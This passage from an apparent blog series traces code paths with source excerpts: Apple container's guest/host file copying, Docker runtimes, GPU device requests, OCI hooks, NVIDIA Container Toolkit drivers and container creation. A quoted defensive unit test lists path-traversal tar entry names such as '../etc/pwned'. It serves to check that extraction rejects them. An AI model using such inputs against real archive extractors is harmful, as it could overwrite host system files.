                format: .paxRestricted,
                filter: resolved.filter,
                file: resolved.file
            )
            try await filesystem.unpack(reader: reader, progress: progress) // [2]
        }
        // [...]
    }
    // [...]
}

unpackEntries() is the key function that does the tar-to-ext4 logic. You may find some file operations inside the function [3], but they all operate on an in-memory filesystem, which means these operations do not access the host filesystem.

// Sources/ContainerizationEXT4/Formatter+Unpack.swift
extension EXT4.Formatter {
    /// Unpack the provided archive on to the ext4 filesystem.
    public func unpack(reader: ArchiveReader, progress: ProgressHandler? = nil) async throws {
        try await self.unpackEntries(reader: reader, progress: progress) // <-------------
    }

    private func unpackEntries(reader: ArchiveReader, progress: ProgressHandler?) async throws {
        for (entry, streamReader) in reader.makeStreamingIterator() {
            // [...]
            if path.base.hasPrefix(".wh.") {
                // [...]
                try self.unlink(path: dir.join(filePath)) // [3]
                // [...]
            }
        }
    }
}

As a result, tar path-traversal cannot escape to the host during unpack.

9.2. Guest-To-Host

When the host tries to copy data from the guest VM, copyOut() is called. If it finds the data is an archived file [1], it loads the data via ArchiveReader [2] and extracts it to the host filesystem [3].

public final class LinuxContainer: Container, Sendable {
    public func copyOut(
        from source: URL,
        to destination: URL,
        createParents: Bool = true,
        chunkSize: Int = defaultCopyChunkSize
    ) async throws {
        try await /* ... */ {
            let guestPath = URL(filePath: self.root).appending(path: source.path)
            try await withThrowingTaskGroup(of: Void.self) { group in
            // [...]
                group.addTask {
                    guard let metadata = await metadataStream.first(where: { _ in true }) else {
                        // [...]
                    }
                    // [...]

                    try await /* ... */ in
                        self.copyQueue.async {
                            do {
                                // [...]
                                if metadata.isArchive { // [1]
                                    try FileManager.default.createDirectory(at: destination, withIntermediateDirectories: true)
                                    let fh = FileHandle(fileDescriptor: dup(conn.fileDescriptor), closeOnDealloc: true)
                                    let reader = try ArchiveReader(format: .pax, filter: .gzip, fileHandle: fh) // [2]
                                    _ = try reader.extractContents(to: destination) // [3]
                                }
                            }
                        }
                }
            }
        }
    }
}

However, ArchiveReader is hardened with an anti-symlink check (O_NOFOLLOW) [4] and has been tested against many edge cases. For example, you can see that rejectPathTraversal() tests crafted tar entries [5] whose names are path-traversal payloads.

// Sources/ContainerizationArchive/ArchiveReader.swift
extension ArchiveReader {
    // [...]
    private func extractEntry(
        entry: WriteEntry,
        dataReader: ArchiveEntryReader,
        memberPath: FilePath,
        rootFileDescriptor: FileDescriptor
    ) throws -> Bool {
        do {
            switch type {
            case .regular:
                // mkdir also has O_NOFOLLOW
                try FileDescriptorOps.mkdir(rootFileDescriptor, relativePath, makeIntermediates: true) { fd in
                    // [...]
                    let fileFd = openat(fd.rawValue, lastComponent.string, O_WRONLY | O_CREAT | O_EXCL | O_NOFOLLOW, fileMode) // [4]
                }
            }
        }
    }
}
// Tests/ContainerizationArchiveTests/ArchiveReaderTests.swift
struct ArchiveReaderTests {
    @Test func rejectPathTraversal() throws {
        let archiveURL = try createTestArchive(
            name: "evil-traversal",
            entries: [ // [5]
                ("../etc/pwned", .regular("evil"), nil),
                ("foo/../../etc/pwned", .regular("evil"), nil),
                ("dir/../../../etc/pwned", .regular("evil"), nil),
            ])
        // [...]
    }
}

10. Summary

This post analyzes how Apple container works. We covered the whole process from CLI, apiserver, runtime-linux, VM, vminitd, to vmexec, ending at the container’s first process. We also discussed a little bit about its attack surfaces. From my perspective, its design is quite robust thanks to extensive malformed-payload testing and running each container in an isolated VM; meanwhile, it still has good performance thanks to hardware virtualization.

Docker Internal (4)

2026-06-20T00:00:00+00:00

In the final post, we’ll cover how vendors like NVIDIA or AMD integrate their code into the Docker system, including hardcoding in the moby code and designing a runtime. We will also show a vulnerability I found in the NVIDIA runtime to let you know what kind of code patterns may lead to problems.

1. Docker Interface

1.1. Runtime

Docker provides a custom runtime implementation. For example, if you run docker run --runtime=aaabbb ubuntu, the JSON config inside the container-creation request body will include "Runtime": "aaabbb".

The runtime name is used to look up the runtime object in Get() of dockerd (moby/moby). If you don’t provide a runtime name, the default runtime, "runc", is used [1].

// daemon/runtime_unix.go
func (r *runtimes) Get(name string) (string, any, error) {
    if name == "" {
        name = r.Default // [1] "runc"
    }

    rt := r.configured[name] // if you use --runtime=aaabbb, the name here will be "aaabbb"
    // [...]
    return rt.Shim, rt.Opts, nil
}

setupRuntimes() is called to setup the runtime objects. It creates the objects based on cfg.Runtimes, which comes from the file /etc/docker/daemon.json. defaultV2ShimConfig() is called with the path name [2], and it assigns the path name to Opts.BinaryName [3] and returns the wrapped shim object.

// daemon/runtime_unix.go
func setupRuntimes(cfg *config.Config) (runtimes, error) {
    // [...]
    for name, rt := range cfg.Runtimes {
        if rt.Path != "" {
            // [...]
            binaryName := rt.Path
            c = defaultV2ShimConfig(cfg, binaryName) // [2]
        }
        // [...]
        newrt.configured[name] = c
        // [...]
    }
    // [...]
}

func defaultV2ShimConfig(conf *config.Config, runtimePath string) *shimConfig {
    shim := &shimConfig{
        Shim: plugins.RuntimeRuncV2,
        Opts: &runcoptions.Options{
            BinaryName:    runtimePath, // [3]
            Root:          filepath.Join(conf.ExecRoot, "runtime-"+defaultRuntimeName),
            // [...]
        },
    }
    // [...]
    return shim
}

When creating a container, the shim daemon runs options.BinaryName, which is the path name of user’s runtime.

// cmd/containerd-shim-runc-v2/runc/container.go
func newInit(/*...*/) {
    // [...]
    runtime := process.NewRunc(options.Root, path, namespace, options.BinaryName, options.SystemdCgroup)
    // [...]
}

I think most of the time a vendor’s runtime implementation is a wrapper around runc. It modifies the generated OCI spec to mount more devices, get more capabilities and insert some hooks. In the end, it still executes runc to start a container.

1.2. GPUs

If you run docker run --gpus=all ubuntu, docker (the docker CLI) sends a run-container request to dockerd asking for GPU devices to add to the container, which corresponds to the JSON field below in the request body.

"DeviceRequests": [
    {
        "Driver": "",
        "Count": -1,
        "DeviceIDs": null,
        "Capabilities": [["gpu"]],
        "Options": {}
    }
]

On the dockerd side, when handling the device requests [1], handleDevice() iterates the requested drivers [2] and updates the OCI spec [3].

// daemon/oci_linux.go
func WithDevices(daemon *Daemon, c *container.Container) coci.SpecOpts {
    return func(ctx context.Context, _ coci.Client, _ *containers.Container, s *coci.Spec) error {
        // [...]
        for _, req := range c.HostConfig.DeviceRequests { // [1]
            if err := daemon.handleDevice(req, s); err != nil { // <--------
                return err
            }
        }
        return nil
    }
}

// daemon/devices.go
func (daemon *Daemon) handleDevice(req container.DeviceRequest, spec *specs.Spec) error {
    if req.Driver == "" {
        // [...]
        for driver, dd := range deviceDrivers { // [2]
            if selected := dd.capset.Match(req.Capabilities); selected != nil {
                // [...]
                return dd.updateSpec(spec, &deviceInstance{req: req, selectedCaps: selected}) // [3]
            }
        }
    }
}

It looks like only two GPU drivers are supported now: NVIDIA [4] and AMD [5].

// daemon/devices.go
func registerDeviceDriver(name string, d *deviceDriver) {
    deviceDrivers[name] = d
}

// daemon/devices_linux.go
func RegisterGPUDeviceDrivers(cdiCache *cdi.Cache) {
    // [...]
    if nvidiaDrivers := getNVIDIADeviceDrivers(); len(nvidiaDrivers) > 0 {
        for name, driver := range nvidiaDrivers {
            registerDeviceDriver(name, driver) // [4]
        }
        return
    }

    // [...]
    if amdDriver := getAMDDeviceDrivers(cdiCache); amdDriver != nil {
        registerDeviceDriver("amd", amdDriver) // [5]
        return
    }
}

Here we take NVIDIA as an example (which matches our topic!). It registers three drivers: "nvidia.cdi" [6], "nvidia.runtime-hook" [7] and "nvidia" [8]. "nvidia" covers cdi and runtime-hook, and each of them has its own spec updater [9, 10].

func getNVIDIADeviceDrivers() map[string]*deviceDriver {
    var composite firstSuccessfulUpdater
    nvidiaDrivers := make(map[string]*deviceDriver)

    if _, err := exec.LookPath(nvidiaCDIHookExecutableName); err == nil {
        // [...]
        cdiDeviceDriver := &deviceDriver{
            updateSpec: (&cdiDeviceInjector{
                defaultCDIDeviceKind: "nvidia.com/gpu",
            }).injectDevices, // [9]
        }
        nvidiaDrivers["nvidia.cdi"] = cdiDeviceDriver // [6]
        composite = append(composite, cdiDeviceDriver.updateSpec)
    }

    if _, err := exec.LookPath(nvidiaContainerRuntimeHookExecutableName); err == nil {
        // [...]
        runtimeHookDeviceDriver := &deviceDriver{
            updateSpec: injectNVIDIARuntimeHook, // [10]
        }
        nvidiaDrivers["nvidia.runtime-hook"] = runtimeHookDeviceDriver // [7]
        composite = append(composite, runtimeHookDeviceDriver.updateSpec)
    }

    capset := capabilities.Set{"gpu": struct{}{}, "nvidia": struct{}{}}
    for c := range allNvidiaCaps {
        capset[c] = struct{}{}
    }
    nvidiaDrivers["nvidia"] = &deviceDriver{ // [8]
        capset:     capset,
        updateSpec: composite.updateSpec,
    }

    return nvidiaDrivers
}

Since the request doesn’t specify which driver is used ("Driver": ""), all drivers are iterated over. Once the matching one is found, it updates the OCI spec based on the vendor’s updater implementation.

1.3. Hook

The OCI runtime spec defines container lifecycle hooks via the Hooks struct (repo opencontainers/runtime-spec). Each field is a list of programs the runtime executes at a specific point in the container’s lifecycle. We can find the related code in the opencontainers/runc repository.

// vendor/github.com/opencontainers/runtime-spec/specs-go/config.go
type Hooks struct {
    Prestart []Hook `json:"prestart,omitempty"`
    CreateRuntime []Hook `json:"createRuntime,omitempty"`
    CreateContainer []Hook `json:"createContainer,omitempty"`
    StartContainer []Hook `json:"startContainer,omitempty"`
    Poststart []Hook `json:"poststart,omitempty"`
    Poststop []Hook `json:"poststop,omitempty"`
}

There are six hook types, and they are all defined in the OCI spec (config.json) and loaded in createHooks().

// libcontainer/specconv/spec_linux.go
func createHooks(rspec *specs.Spec, config *configs.Config) {
    config.Hooks = configs.Hooks{}
    if rspec.Hooks != nil {
        for _, h := range rspec.Hooks.Prestart {
            cmd := createCommandHook(h)
            config.Hooks[configs.Prestart] = append(config.Hooks[configs.Prestart], configs.NewCommandHook(cmd))
        }
        for _, h := range rspec.Hooks.CreateRuntime {
            cmd := createCommandHook(h)
            config.Hooks[configs.CreateRuntime] = append(config.Hooks[configs.CreateRuntime], configs.NewCommandHook(cmd))
        }
        for _, h := range rspec.Hooks.CreateContainer {
            cmd := createCommandHook(h)
            config.Hooks[configs.CreateContainer] = append(config.Hooks[configs.CreateContainer], configs.NewCommandHook(cmd))
        }
        for _, h := range rspec.Hooks.StartContainer {
            cmd := createCommandHook(h)
            config.Hooks[configs.StartContainer] = append(config.Hooks[configs.StartContainer], configs.NewCommandHook(cmd))
        }
        for _, h := range rspec.Hooks.Poststart {
            cmd := createCommandHook(h)
            config.Hooks[configs.Poststart] = append(config.Hooks[configs.Poststart], configs.NewCommandHook(cmd))
        }
        for _, h := range rspec.Hooks.Poststop {
            cmd := createCommandHook(h)
            config.Hooks[configs.Poststop] = append(config.Hooks[configs.Poststop], configs.NewCommandHook(cmd))
        }
    }
}

func createCommandHook(h specs.Hook) *configs.Command {
    cmd := &configs.Command{
        Path: h.Path,
        Args: h.Args,
        Env:  h.Env,
    }
    // [...]
    return cmd
}

The actual config.json looks like:

{
  ...
  "hooks": {
    "startContainer": [
      {
        "path": "/hook-1",
        "args": ["aaa", "bbb"],
        "env": ["myenv=123"],
      },

      {
        "path": "/hook-2",
        "args": ["aaa", "bbb"],
        "env": ["myenv=456"],
      },
    ],

    "createContainer": [
      ...
    ]
  }
}

These hooks are triggered in the following order:

create -> [Prestart] -> [CreateRuntime] -> [CreateContainer] ->
start -> [StartContainer] -> [Poststart] -> (container is running) ->
delete -> [Poststop]

2. NVIDIA Container Toolkit

The NVIDIA Container Toolkit is an open source project owned by NVIDIA, and it allows NVIDIA GPU users to build and run GPU-accelerated containers.

It implements a container runtime (nvidia-container-runtime) to intercept requests from the shim daemon to allow some utilities to be exported to container. The runtime also inserts several hooks.

Let’s first see how nvidia-container-runtime works!

2.1. Runtime & Hooks

After installing the tools, you can see the NVIDIA runtime has been registered in /etc/docker/daemon.json. It means you can run a command like docker run --runtime=nvidia ubuntu to use NVIDIA toolkit inside the container.

{
    "default-runtime": "",
    "runtimes": {
        "nvidia": {
            "args": [],
            "path": "nvidia-container-runtime"
        }
    }
}

Instead of runc, nvidia-container-runtime is executed to start the container. It loads the NVIDIA runtime config from config.toml and calls newNVIDIAContainerRuntime() [2] to apply its runtime modifications to the OCI spec. In the end, runtime.Exec() is called [3] to reload the OCI spec and execute the lower-level runtime to load the container, which is runc.

// cmd/nvidia-container-runtime/main.go
func main() {
    r := runtime.New()
    err := r.Run(os.Args) // <--------
    // [...]
}

// internal/runtime/runtime.go
func (r rt) Run(argv []string) (rerr error) {
    cfg, err := config.GetConfig() // [1], fullpath: "/etc/nvidia-container-runtime/config.toml"
    
    // [...]
    // resolve path

    // [...]
    runtime, err := newNVIDIAContainerRuntime(r.logger, driver, cfg, argv) // [2]

    // [...]
    return runtime.Exec(argv) // [3]
}

newNVIDIAContainerRuntime() creates a spec modifier, a Factory object [4], and wraps it into a runtime object (r) [5].

// internal/runtime/runtime_factory.go
import (
    // [...]
    "github.com/NVIDIA/nvidia-container-toolkit/internal/modifier"
    // [...]
)

func newNVIDIAContainerRuntime(logger logger.Interface, driver *root.Driver, cfg *config.Config, argv []string) (oci.Runtime, error) {
    // [...]
    specModifier, err := newSpecModifier(logger, driver, cfg, ociSpec) // <--------
    // [...]
    r := oci.NewModifyingRuntimeWrapper( // [5]
        // [...]
        specModifier,
    )
}

func newSpecModifier(logger logger.Interface, driver *root.Driver, cfg *config.Config, ociSpec oci.Spec) (oci.SpecModifier, error) {
    return modifier.New( // <--------
        // [...]
    )
}

// internal/modifier/factory.go
func New(opts ...Option) (oci.SpecModifier, error) {
    f := createFactory(opts...) // <--------
    // [...]
    return f, nil
}

func createFactory(opts ...Option) *Factory {
    f := &Factory{} // [4]
    // [...]
    return f
}

runtime.Exec() is quite complex. The r.modify() call reloads the OCI spec [6]. Internally, it iterates the list entries returned from f.create() [7] and calls their modify handlers [8].

// internal/oci/runtime_modifier.go
func (r *modifyingRuntimeWrapper) Exec(args []string) error {
    if HasCreateSubcommand(args) {
        // [...]
        err := r.modify() // [6]
        // [...]
    }
    // [...]
    return r.runtime.Exec(args)
}

func (r *modifyingRuntimeWrapper) modify() error {
    _, err := r.ociSpec.Load()
    err = r.ociSpec.Modify(r.modifier) // <--------
    err = r.ociSpec.Flush()
}

// internal/oci/spec_memory.go
func (s *memorySpec) Modify(m SpecModifier) error {
    // [...]
    return m.Modify(s.Spec) // <--------
}

// internal/oci/spec.go
func (ms SpecModifiers) Modify(s *specs.Spec) error {
    for _, m := range ms {
        // [...]
        if err := m.Modify(s); err != nil { // <--------
            // [...]
        }
    }
    // [...]
}

// internal/modifier/factory.go
func (f *Factory) Modify(s *specs.Spec) error {
    m, err := f.create() // [7]
    // [...]
    return m.Modify(s) // <--------
}

// internal/modifier/list.go
func (m list) Modify(spec *specs.Spec) error {
    for _, mm := range m {
        // [...]
        err := mm.Modify(spec) // [8]
        // [...]
    }
    return nil
}

The factory creation function first gets supported modifier types [9] based on the runtime mode ("legacy", "csv", "cdi" and "jit-cdi"). The supported types are a string array, where each corresponds to a modifier object.

For example, if the modifier type is "mode" [10] and the runtime type is "legacy" [11], a stableRuntimeModifier is used [12], and its handler Modify() injects a prestart hook into the OCI spec [13].

// internal/modifier/factory.go
func (f *Factory) create() (oci.SpecModifier, error) {
    var modifiers list
    for _, modifierType := range supportedModifierTypes(f.runtimeMode) { // [9]
        switch modifierType {
        case "mode": // [10]
            modeModifier, err := f.newModeModifier() // <--------
            // [...]
            modifiers = append(modifiers, modeModifier)
        // [...]
        }
    }
    return modifiers, nil
}

// internal/modifier/mode.go
func (f *Factory) newModeModifier() (oci.SpecModifier, error) {
    switch f.runtimeMode {
    case info.LegacyRuntimeMode: // [11]
        return f.newStableRuntimeModifier(), nil // <--------
    // [...]
    }
}

// internal/modifier/stable.go
func (f *Factory) newStableRuntimeModifier() oci.SpecModifier {
    m := stableRuntimeModifier{ // [12]
        // [...]
        nvidiaContainerRuntimeHookPath: f.cfg.NVIDIAContainerRuntimeHookConfig.Path,
    }
    return &m
}

func (m stableRuntimeModifier) Modify(spec *specs.Spec) error {
    // [...]
    path := m.nvidiaContainerRuntimeHookPath
    args := []string{filepath.Base(path)}
    // [...]
    spec.Hooks.Prestart = append(spec.Hooks.Prestart, specs.Hook{ // [13]
        Path: path,
        Args: append(args, "prestart"),
    })
    // [...]
}

2.2. OCI Driver

In the section 1.2. GPUs, we introduced how the --gpus=... option may apply a vendor’s modification on the OCI spec. Here we continue to discuss the NVIDIA case.

The updater for the NVIDIA CDI driver is injectDevices(), while injectNVIDIARuntimeHook() is for the NVIDIA runtime driver. We will analyze how they work separately!

2.2.1. CDI Driver

injectDevices() internally dispatches the request to the CDI driver [1], which is registered during the startup of dockerd [2].

// daemon/devices_nvidia_linux.go
func (i *cdiDeviceInjector) injectDevices(s *specs.Spec, dev *deviceInstance) error {
    deviceIDs, err := getRequestedDevicesIDs(dev.req) // deviceIDs == {"all"}
    cdiDeviceDriver := deviceDrivers["cdi"]
    // [...]
    for _, deviceID := range deviceIDs {
        // normalize from "all" to "nvidia.com/gpu=all"
        cdiDeviceIDs = append(cdiDeviceIDs, i.normalizeDeviceID(deviceID))
    }
    // [...]
    return cdiDeviceDriver.updateSpec(s, &deviceInstance{ // [1]
        req: container.DeviceRequest{
            // [...]
            DeviceIDs:    cdiDeviceIDs,
            // [...]
        },
    })
}

// daemon/cdi.go
func (cli *daemonCLI) start(ctx context.Context) (retErr error) {
    // [...]
    if cdiEnabled(cli.Config) {
        cdiCache = daemon.RegisterCDIDriver(cli.Config.CDISpecDirs...) // <--------
    }
    // [...]
}

func RegisterCDIDriver(cdiSpecDirs ...string) *cdi.Cache {
    for i, dir := range cdiSpecDirs {
        if _, err := os.Stat(dir); !errors.Is(err, os.ErrNotExist) {
            cdiSpecDirs[i], err = filepath.EvalSymlinks(dir)
            // [...]
        }
    }
    driver, cache := newCDIDeviceDriver(cdiSpecDirs...)
    registerDeviceDriver("cdi", driver) // [2]
    return cache
}

The default directories of the CDI spec are /etc/cdi and /var/run/cdi, and we can find that there is a file /etc/cdi/nvidia.yaml describing the OCI spec modification details. It defines what kind it is (nvidia.com/gpu), and also includes the hooks to be injected!

---
cdiVersion: 0.5.0
kind: nvidia.com/gpu
devices:
    - name: "0"
      containerEdits:
        deviceNodes:
            - path: /dev/nvidia0
              major: 195
              fileMode: 438
              permissions: rwm
            ...
        hooks:
            - hookName: createContainer
              path: /usr/bin/nvidia-cdi-hook
              args:
                - nvidia-cdi-hook
                - create-symlinks
                - --link
                - ../card2::/dev/dri/by-path/pci-0000:01:00.0-card
                - --link
                - ../renderD129::/dev/dri/by-path/pci-0000:01:00.0-render
              env:
                - NVIDIA_CTK_DEBUG=false
...

So how are these CDI drivers loaded and used? We can further trace newCDIDeviceDriver() and find that InjectDevices() is called with device names [3].

// daemon/cdi.go
func newCDIDeviceDriver(cdiSpecDirs ...string) (*deviceDriver, *cdi.Cache) {
    // [...]
    return &deviceDriver{
        updateSpec:  c.injectCDIDevices, // <--------
        // [...]
    }, cache
}

func (c *cdiHandler) injectCDIDevices(s *specs.Spec, dev *deviceInstance) error {
    // [...]
    cdiDeviceNames := dev.req.DeviceIDs // {"nvidia.com/gpu=all"}
    _, err := c.registry.InjectDevices(s, cdiDeviceNames...) // [3]
}

The implementation of InjectDevices() is defined in another project “container-device-interface” (or a standard), whose GitHub repository is cncf-tags/container-device-interface.

Its CLI utilities provides multiple APIs to interact with CDI specs, and InjectDevices() is used to edit the original spec based on the CDI config of the targeted device.

It first iterates over all passed devices [4] and gets their specs [5], then resolves where to edit [6], and finally applies the changes to the OCI spec file [7].

// vendor/tags.cncf.io/container-device-interface/pkg/cdi/cache.go
func (c *Cache) InjectDevices(ociSpec *oci.Spec, devices ...string) ([]string, error) {
    edits := &ContainerEdits{}
    // [...]
    for _, device := range devices { // [4]
        d := c.devices[device] // device == "nvidia.com/gpu=all" here
        // [...]
        if _, ok := specs[d.GetSpec()]; !ok { // [5]
            // [...]
        }
        edits.Append(d.edits()) // [6]
    }

    if err := edits.Apply(ociSpec); err != nil { // [7]
        // [...]
    }
}

To summarize, the docker option --gpus=all is internally converted to {"nvidia.com/gpu=all"} for CDI, and files inside the spec directories (/etc/cdi) are read to find the matching kind "nvidia.com/gpu" and name "all". Finally, the changes are applied to original OCI spec.

cdiVersion: 0.5.0
kind: nvidia.com/gpu
devices:
    - name: "0"
    ...
    - name: GPU-XXXX
    ...
    - name: all
    ...
...

2.2.2. Runtime Driver

The updater of the runtime driver is injectNVIDIARuntimeHook(), and it only injects a container prestart hook [1], which calls the command nvidia-container-runtime-hook prestart.

// daemon/devices_nvidia_linux.go
func injectNVIDIARuntimeHook(s *specs.Spec, dev *deviceInstance) error {
    // [...]
    path, err := exec.LookPath(nvidiaContainerRuntimeHookExecutableName) // "nvidia-container-runtime-hook"
    // [...]
    s.Hooks.Prestart = append(s.Hooks.Prestart, specs.Hook{ // [1]
        Path: path,
        Args: []string{
            nvidiaContainerRuntimeHookExecutableName,
            "prestart",
        },
        Env: os.Environ(),
    })
    // [...]
}

Surprisingly, NVIDIA’s runtime (nvidia-container-runtime) tries to do OCI spec modifications, but these edits have almost all been done by dockerd if the CLI is executed with the --gpus=all option.

2.3. Vulnerability

This part is pending a response from the NVIDIA Security Team. I will publish the details once the issue has been fixed.

3. Summary

This series is called “Docker Internal”, and it includes an introduction to the Docker system architecture (1), attack surface exploration during pulling an image (2), how a container is loaded (3), and finally vendors’ modifications (4). We also use a vulnerability in the NVIDIA Toolkit as an example, showing the vulnerable code pattern. I hope you enjoyed it and learned something new!

Docker Internal (3)

2026-06-04T00:00:00+00:00

In the third post, we’ll discuss how the container is loaded.

Since the vulnerability I found has not yet been patched 😢, I won’t discuss how the NVIDIA toolkit can work as a replacement runtime in this post. I’ll cover it in a future post once the bug has been fixed.

1. Load a Container

If you run docker run --rm -it ubuntu:24.04, dockerd will receive two HTTP requests. The first is to create a container, which is the same as executing docker create ubuntu:24.04.

POST /v1.54/containers/create HTTP/1.1
Host: api.moby.localhost
User-Agent: Docker-Client/29.5.2 (linux)
Content-Length: 1711
Content-Type: application/json
...

The second is to start the container, which is the same as executing docker start .

POST /v1.54/containers/17b7029c5b5121a40ef71d91640fff00f20152df0b167a4464c02450c208b8a1/start HTTP/1.1
Host: api.moby.localhost
User-Agent: Docker-Client/29.5.2 (linux)
Content-Length: 0

dockerd’s initRoutes() defines both endpoint handlers, and we’ll read their implementation later.

// daemon/server/router/container/container.go
func (c *containerRouter) initRoutes() {
    c.routes = []router.Route{
        // [...]
        router.NewPostRoute("/containers/create", c.postContainersCreate),
        // [...]
        router.NewPostRoute("/containers/{name:.*}/start", c.postContainersStart),
        // [...]
    }
}

1.1. Create

The request data is a JSON-formatted data that includes the container’s configuration. The actual data looks like:

{
  "Hostname": "",
  "Domainname": "",
  "User": "",
  "AttachStdin": false,
  "AttachStdout": true,
  "AttachStderr": true,
  "Tty": false,
  "OpenStdin": false,
  "StdinOnce": false,
  "Env": null,
  "Cmd": null,
  "Image": "ubuntu:24.04",
  "Volumes": {},
  "WorkingDir": "",
  "Entrypoint": null,
  "Labels": {},
  "HostConfig": {
    "Binds": null,
    "ContainerIDFile": "",
    "LogConfig": {
      "Type": "",
      "Config": {}
    },
    "NetworkMode": "default",
    "PortBindings": {},
    "RestartPolicy": {
      "Name": "no",
      "MaximumRetryCount": 0
    },
    "AutoRemove": false,
    "VolumeDriver": "",
    "VolumesFrom": null,
    "ConsoleSize": [
      50,
      212
    ],
    "CapAdd": null,
    "CapDrop": null,
    "CgroupnsMode": "",
    "Dns": null,
    "DnsOptions": [],
    "DnsSearch": [],
    "ExtraHosts": null,
    "GroupAdd": null,
    "IpcMode": "",
    "Cgroup": "",
    "Links": null,
    "OomScoreAdj": 0,
    "PidMode": "",
    "Privileged": false,
    "PublishAllPorts": false,
    "ReadonlyRootfs": false,
    "SecurityOpt": null,
    "UTSMode": "",
    "UsernsMode": "",
    "ShmSize": 0,
    "Isolation": "",
    "CpuShares": 0,
    "Memory": 0,
    "NanoCpus": 0,
    "CgroupParent": "",
    "BlkioWeight": 0,
    "BlkioWeightDevice": [],
    "BlkioDeviceReadBps": [],
    "BlkioDeviceWriteBps": [],
    "BlkioDeviceReadIOps": [],
    "BlkioDeviceWriteIOps": [],
    "CpuPeriod": 0,
    "CpuQuota": 0,
    "CpuRealtimePeriod": 0,
    "CpuRealtimeRuntime": 0,
    "CpusetCpus": "",
    "CpusetMems": "",
    "Devices": [],
    "DeviceCgroupRules": null,
    "DeviceRequests": null,
    "MemoryReservation": 0,
    "MemorySwap": 0,
    "MemorySwappiness": -1,
    "OomKillDisable": false,
    "PidsLimit": 0,
    "Ulimits": [],
    "CpuCount": 0,
    "CpuPercent": 0,
    "IOMaximumIOps": 0,
    "IOMaximumBandwidth": 0,
    "MaskedPaths": null,
    "ReadonlyPaths": null
  },
  "NetworkingConfig": {
    "EndpointsConfig": {
      "default": {
        "IPAMConfig": null,
        "Links": null,
        "Aliases": null,
        "DriverOpts": null,
        "GwPriority": 0,
        "NetworkID": "",
        "EndpointID": "",
        "Gateway": "",
        "IPAddress": "",
        "MacAddress": "",
        "IPPrefixLen": 0,
        "IPv6Gateway": "",
        "GlobalIPv6Address": "",
        "GlobalIPv6PrefixLen": 0,
        "DNSNames": null
      }
    }
  }
}

postContainersCreate() first decodes the request into three different configs [1] and then creates a container based on these configs [2].

// daemon/server/router/container/container_routes.go
func (c *containerRouter) postContainersCreate(ctx context.Context, w http.ResponseWriter, r *http.Request, vars map[string]string) error {
    // [...]
    req, err := runconfig.DecodeCreateRequest(rdr, c.backend.RawSysInfo())
    config, hostConfig, networkingConfig := req.Config, req.HostConfig, req.NetworkingConfig // [1]
    // [...]
    ccr, err := c.backend.ContainerCreate(ctx, backend.ContainerCreateConfig{ // [2]
        Name:                        name,
        Config:                      config,
        HostConfig:                  hostConfig,
        NetworkingConfig:            networkingConfig,
        Platform:                    platform,
        DefaultReadOnlyNonRecursive: defaultReadOnlyNonRecursive,
    })
    // [...]
}

Internally, newContainer() is called to create a container instance and set its root directory to /var/lib/docker/containers/ [3].

// daemon/container.go
func (daemon *Daemon) newContainer(name string, platform ocispec.Platform, config *containertypes.Config, hostConfig *containertypes.HostConfig, imgID image.ID, managed bool) (*container.Container, error) {
    // [...]
    base := container.NewBaseContainer(id, filepath.Join(daemon.repository, id)) // [3]
    // [...]
    base.Config = config
    base.HostConfig = hostConfig
    // [...]
    return base
}

After the container has been set up, its metadata is saved into config.v2.json for later use [4]. The host configuration is also saved, but it is kept separately in another file, hostconfig.json [5].

// daemon/container/container.go
func (container *Container) CheckpointTo(ctx context.Context, store *ViewDB) error {
    // [...]
    deepCopy, err := container.toDisk()
    // [...]
}

func (container *Container) toDisk() (*Container, error) {
    // [...]
    pth, err := container.ConfigPath() // config.v2.json
    f, err := atomicwriter.New(pth, 0o600)
    w := io.MultiWriter(&buf, f)
    if err := json.NewEncoder(w).Encode(container); err != nil { // [4]
        // [...]
    }

    var deepCopy Container
    if err := json.NewDecoder(&buf).Decode(&deepCopy); err != nil {
        // [...]
    }
    deepCopy.HostConfig, err = container.WriteHostConfig() // <--------
    // [...]
}

func (container *Container) WriteHostConfig() (*containertypes.HostConfig, error) {
    // [...]
    pth, err := container.HostConfigPath() // hostconfig.json
    f, err := atomicwriter.New(pth, 0o600)
    w := io.MultiWriter(&buf, f)
    if err := json.NewEncoder(w).Encode(&container.HostConfig); err != nil { // [5]
        // [...]
    }
    // [...]
}

We can see these files in the corresponding directory.

root@aaa:~# ls -al /var/lib/docker/containers/2fa14c3b70546123aa4de5628bad07282085500fb48dee65adae4546b55b7128/
total 20
drwx--x--- 3 root root 4096 Jun  3 11:15 .
drwx--x--- 4 root root 4096 Jun  3 11:36 ..
drwx------ 2 root root 4096 Jun  3 11:15 checkpoints
-rw------- 1 root root 2462 Jun  3 11:15 config.v2.json
-rw------- 1 root root 1216 Jun  3 11:15 hostconfig.json

These configs are loaded and used from dockerd’s memory store [6], which is a mapping from container’s ID to the container object.

// daemon/daemon.go
type Daemon struct {
    // [..]
    containers        container.Store // [6]
    // [..]
}

// daemon/container/memory_store.go
type memoryStore struct {
    s map[string]*Container
    sync.RWMutex
}

Every time dockerd restarts, the initialization function NewDaemon() calls loadContainers() [7] to cache all of them into the memory store to avoid heavy disk access.

// daemon/daemon.go
func NewDaemon(ctx context.Context, config *config.Config, pluginStore *plugin.Store, authzMiddleware *authorization.Middleware) (_ *Daemon, retErr error) {
    // [...]
    containers, err := d.loadContainers(ctx) // [7]
    // [...]
}

func (daemon *Daemon) loadContainers(ctx context.Context) (map[string]map[string]*container.Container, error) {
    // [...]
    dir, err := os.ReadDir(daemon.repository)
    // [...]
    for _, v := range dir {
        // [...]
        id := v.Name()
        c, err := daemon.load(id)
        containers[c.ID] = c // <--------
        // [...]
    }
}

1.2. Start

After the container is created, the container-starting request is sent to dockerd to run the container.

Inside ContainerStart(), the daemonCfg is created to hold the current daemon (dockerd) configuration [1]. daemon.GetContainer() is then called to retrieve the matching container object from the memory store [2]. Finally, containerStart() is called to start the container with these configurations [3].

// daemon/server/router/container/container_routes.go
func (c *containerRouter) postContainersStart(ctx context.Context, w http.ResponseWriter, r *http.Request, vars map[string]string) error {
    // [...]
    if err := c.backend.ContainerStart(ctx, vars["name"], r.Form.Get("checkpoint"), r.Form.Get("checkpoint-dir")); err != nil { // <--------
        return err
    }
    // [...]
}

// daemon/start.go
func (daemon *Daemon) ContainerStart(ctx context.Context, name string, checkpoint string, checkpointDir string) error {
    daemonCfg := daemon.config() // [1]
    // [...]
    ctr, err := daemon.GetContainer(name) // [2]
    // [...]
    return daemon.containerStart(ctx, daemonCfg, ctr, checkpoint, checkpointDir, true) // [3]
}

// daemon/daemon.go
type configStore struct {
    config.Config

